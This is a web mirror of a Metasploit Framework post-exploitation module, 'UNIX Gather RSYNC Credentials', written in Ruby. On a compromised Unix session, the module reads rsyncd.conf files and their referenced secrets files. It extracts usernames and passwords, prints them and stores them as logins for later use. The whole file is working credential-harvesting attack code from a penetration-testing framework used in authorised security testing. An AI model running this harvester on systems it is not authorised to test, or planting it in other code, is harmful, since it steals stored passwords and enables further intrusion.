Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/rsyncd_creds.rb
19851 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'UNIX Gather RSYNC Credentials',
15
'Description' => %q{
16
Post Module to obtain credentials saved for RSYNC in various locations
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
20
'SessionTypes' => %w[shell],
21
'Notes' => {
22
'Stability' => [CRASH_SAFE],
23
'SideEffects' => [],
24
'Reliability' => []
25
}
26
)
27
)
28
29
register_options(
30
[
31
OptString.new('USER_CONFIG', [
32
false, 'Attempt to get passwords from this RSYNC ' \
33
'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf'
34
])
35
]
36
)
37
register_advanced_options(
38
[
39
OptString.new('RSYNCD_CONFIG', [true, 'Path to rsyncd.conf', '/etc/rsyncd.conf'])
40
]
41
)
42
end
43
44
def setup
45
@user_config = datastore['USER_CONFIG'].blank? ? nil : datastore['USER_CONFIG']
46
end
47
48
def dump_rsync_secrets(config_file)
49
vprint_status("Attempting to get RSYNC creds from #{config_file}")
50
creds_table = Rex::Text::Table.new(
51
'Header' => "RSYNC credentials from #{config_file}",
52
'Columns' => %w[Username Password Module]
53
)
54
55
# read the rsync configuration file, extracting the 'secrets file'
56
# directive for any rsync modules (shares) within
57
rsync_config = Rex::Parser::Ini.new(config_file)
58
# https://github.com/rapid7/metasploit-framework/issues/6265
59
rsync_config.each_key do |rmodule|
60
# XXX: Ini assumes anything on either side of the = is the key and value,
61
# including spaces, so we need to fix this
62
module_config = Hash[rsync_config[rmodule].map { |k, v| [ k.strip, v.strip ] }]
63
next unless (secrets_file = module_config['secrets file'])
64
65
read_file(secrets_file).split(/\n/).map do |line|
66
next if line =~ /^#/
67
68
if /^(?<user>[^:]+):(?<password>.*)$/ =~ line
69
creds_table << [ user, password, rmodule ]
70
report_rsync_cred(user, password, rmodule)
71
end
72
end
73
end
74
75
return if creds_table.rows.empty?
76
77
print_line(creds_table.to_s)
78
end
79
80
def report_rsync_cred(user, password, rmodule)
81
credential_data = {
82
origin_type: :session,
83
session_id: session_db_id,
84
post_reference_name: refname,
85
username: user,
86
private_data: password,
87
private_type: :password,
88
realm_value: rmodule,
89
# XXX: add to MDM?
90
# realm_key: Metasploit::Model::Realm::Key::RSYNC_MODULE,
91
workspace_id: myworkspace_id
92
}
93
credential_core = create_credential(credential_data)
94
95
login_data = {
96
address: session.session_host,
97
# TODO: rsync is 99.9% of the time on 873/TCP, but can be configured differently with the
98
# 'port' directive in the global part of the rsyncd configuration file.
99
# Unfortunately, Rex::Parser::Ini does not support parsing this just yet
100
port: 873,
101
protocol: 'tcp',
102
service_name: 'rsync',
103
core: credential_core,
104
access_level: 'User',
105
status: Metasploit::Model::Login::Status::UNTRIED,
106
workspace_id: myworkspace_id
107
}
108
create_credential_login(login_data)
109
end
110
111
def run
112
# build up a list of rsync configuration files to read, including the
113
# default location of the daemon config as well as any per-user
114
# configuration files that may exist (rare)
115
config_path = datastore['RSYNCD_CONFIG']
116
config_files = Set.new([ config_path ])
117
config_files |= enum_user_directories.map { |d| ::File.join(d, @user_config) } if @user_config
118
config_files.map { |config_file| dump_rsync_secrets(config_file) }
119
end
120
end
121
122